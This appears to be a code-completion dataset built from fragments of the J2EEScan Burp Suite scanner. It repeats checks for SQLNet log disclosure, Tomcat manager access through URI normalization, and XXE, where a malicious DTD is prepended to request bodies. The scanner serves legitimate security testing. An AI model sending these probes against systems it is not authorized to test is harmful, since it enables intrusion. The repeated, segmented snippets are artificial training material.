import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SQLLOG_PATH : SQLNETLOG_PATHS) {
try {
// Test the presence of tomcat console
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SQLLOG_PATH);
byte[] oastest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, oastest);
// look for matches of our active check grep string in the response body
IResponseInfo statusInfo = helpers.analyzeResponse(responseBytes);
if (statusInfo.getStatusCode() == 200) {
for (byte[] grepString : GREP_STRINGS) { | List<int[]> matches_j2ee = getMatches(responseBytes, grepString, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/OASSqlnetLogDisclosure.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; |
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SQLLOG_PATH : SQLNETLOG_PATHS) {
try {
// Test the presence of tomcat console
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SQLLOG_PATH);
byte[] oastest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, oastest);
// look for matches of our active check grep string in the response body
IResponseInfo statusInfo = helpers.analyzeResponse(responseBytes);
if (statusInfo.getStatusCode() == 200) {
for (byte[] grepString : GREP_STRINGS) {
List<int[]> matches_j2ee = getMatches(responseBytes, grepString, helpers);
if (matches_j2ee.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/OASSqlnetLogDisclosure.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SQLLOG_PATH : SQLNETLOG_PATHS) {
try {
// Test the presence of tomcat console
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SQLLOG_PATH);
byte[] oastest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, oastest);
// look for matches of our active check grep string in the response body
IResponseInfo statusInfo = helpers.analyzeResponse(responseBytes);
if (statusInfo.getStatusCode() == 200) {
for (byte[] grepString : GREP_STRINGS) {
List<int[]> matches_j2ee = getMatches(responseBytes, grepString, helpers);
if (matches_j2ee.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/XXEModule.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | // Remove XML version, and append malicious DTD
// <?xml version="1.0" encoding="UTF-8" standalone="no"?>
body = body.replaceAll("<\\?xml(.+?)\\?>", "").trim();
body = XXE_DTD_DEFINITION + body;
// TODO FIX ME unwanted encoded payload inserted by burp
body = body.replaceAll("&xxe;", "&xxe;");
byte[] evilMessage = callbacks.getHelpers().buildHttpMessage(a.getHeaders(), callbacks.getHelpers().stringToBytes(body));
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), evilMessage);
String response = helpers.bytesToString(checkRequestResponse.getResponse());
// Check if the remote XML Library is not vulnerable based on java
// xml library error message
for (Pattern xxeFail : XXE_RE_FAIL){
Matcher matcherXXEFail = xxeFail.matcher(response);
if (matcherXXEFail.find()) {
stdout.println("Skipping XXE test, library seems to disallow XXE on url " + reqInfo.getUrl());
return issues;
}
}
for (Pattern xxeMatcher : XXE_RE_MATCHES) {
Matcher matcher = xxeMatcher.matcher(response);
if (matcher.find()) {
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/XXEModule.java
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
// Remove XML version, and append malicious DTD
// <?xml version="1.0" encoding="UTF-8" standalone="no"?>
body = body.replaceAll("<\\?xml(.+?)\\?>", "").trim();
body = XXE_DTD_DEFINITION + body;
// TODO FIX ME unwanted encoded payload inserted by burp
body = body.replaceAll("&xxe;", "&xxe;");
byte[] evilMessage = callbacks.getHelpers().buildHttpMessage(a.getHeaders(), callbacks.getHelpers().stringToBytes(body));
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), evilMessage);
String response = helpers.bytesToString(checkRequestResponse.getResponse());
// Check if the remote XML Library is not vulnerable based on java
// xml library error message
for (Pattern xxeFail : XXE_RE_FAIL){
Matcher matcherXXEFail = xxeFail.matcher(response);
if (matcherXXEFail.find()) {
stdout.println("Skipping XXE test, library seems to disallow XXE on url " + reqInfo.getUrl());
return issues;
}
}
for (Pattern xxeMatcher : XXE_RE_MATCHES) {
Matcher matcher = xxeMatcher.matcher(response);
if (matcher.find()) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/URINormalizationTomcat.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; |
URL urlToTest;
for (String cur_context : contexts) {
if (cur_context.isEmpty()) {
continue;
}
try {
urlToTest = new URL(protocol, curURL.getHost(), curURL.getPort(), cur_context + tomcat_uri_normalization);
stdout.println("Testing URINormalization issue at " + urlToTest);
byte[] uriNormalizationAttempt = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(curURL.getHost(),
curURL.getPort(), isSSL, uriNormalizationAttempt);
IResponseInfo tomcatManagerInfo = helpers.analyzeResponse(responseBytes);
if (tomcatManagerInfo.getStatusCode() == 401) {
// Check Authorization header
List<String> responseHeaders = tomcatManagerInfo.getHeaders();
for (int h = 0; h < responseHeaders.size(); h++) {
if (responseHeaders.get(h).toLowerCase().startsWith("www-authenticate")
&& responseHeaders.get(h).toLowerCase().contains("tomcat manager")) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/URINormalizationTomcat.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
URL urlToTest;
for (String cur_context : contexts) {
if (cur_context.isEmpty()) {
continue;
}
try {
urlToTest = new URL(protocol, curURL.getHost(), curURL.getPort(), cur_context + tomcat_uri_normalization);
stdout.println("Testing URINormalization issue at " + urlToTest);
byte[] uriNormalizationAttempt = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(curURL.getHost(),
curURL.getPort(), isSSL, uriNormalizationAttempt);
IResponseInfo tomcatManagerInfo = helpers.analyzeResponse(responseBytes);
if (tomcatManagerInfo.getStatusCode() == 401) {
// Check Authorization header
List<String> responseHeaders = tomcatManagerInfo.getHeaders();
for (int h = 0; h < responseHeaders.size(); h++) {
if (responseHeaders.get(h).toLowerCase().startsWith("www-authenticate")
&& responseHeaders.get(h).toLowerCase().contains("tomcat manager")) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/URINormalizationTomcat.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | List<String> responseHeaders = tomcatManagerInfo.getHeaders();
for (int h = 0; h < responseHeaders.size(); h++) {
if (responseHeaders.get(h).toLowerCase().startsWith("www-authenticate")
&& responseHeaders.get(h).toLowerCase().contains("tomcat manager")) {
issues.add(new CustomScanIssue(
baseRequestResponse.getHttpService(),
urlToTest,
new CustomHttpRequestResponse(uriNormalizationAttempt, responseBytes, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.High,
Confidence.Certain
));
}
}
}
// URI Normalization test case successful but the Application server replies with:
// - /manager/html -> 403 Forbidden
// - / -> default apache tomcat page
//
// The vulnerability is detected but the business impact is usually lower, if it's not
// possible to access directly to the Tomcat Manager Console
final byte[] GREP_STRING = "Apache Tomcat".getBytes();
// look for matches of our active check grep string | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/URINormalizationTomcat.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
List<String> responseHeaders = tomcatManagerInfo.getHeaders();
for (int h = 0; h < responseHeaders.size(); h++) {
if (responseHeaders.get(h).toLowerCase().startsWith("www-authenticate")
&& responseHeaders.get(h).toLowerCase().contains("tomcat manager")) {
issues.add(new CustomScanIssue(
baseRequestResponse.getHttpService(),
urlToTest,
new CustomHttpRequestResponse(uriNormalizationAttempt, responseBytes, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.High,
Confidence.Certain
));
}
}
}
// URI Normalization test case successful but the Application server replies with:
// - /manager/html -> 403 Forbidden
// - / -> default apache tomcat page
//
// The vulnerability is detected but the business impact is usually lower, if it's not
// possible to access directly to the Tomcat Manager Console
final byte[] GREP_STRING = "Apache Tomcat".getBytes();
// look for matches of our active check grep string | List<int[]> matches = getMatches(responseBytes, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/passive/SessionIDInURL.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
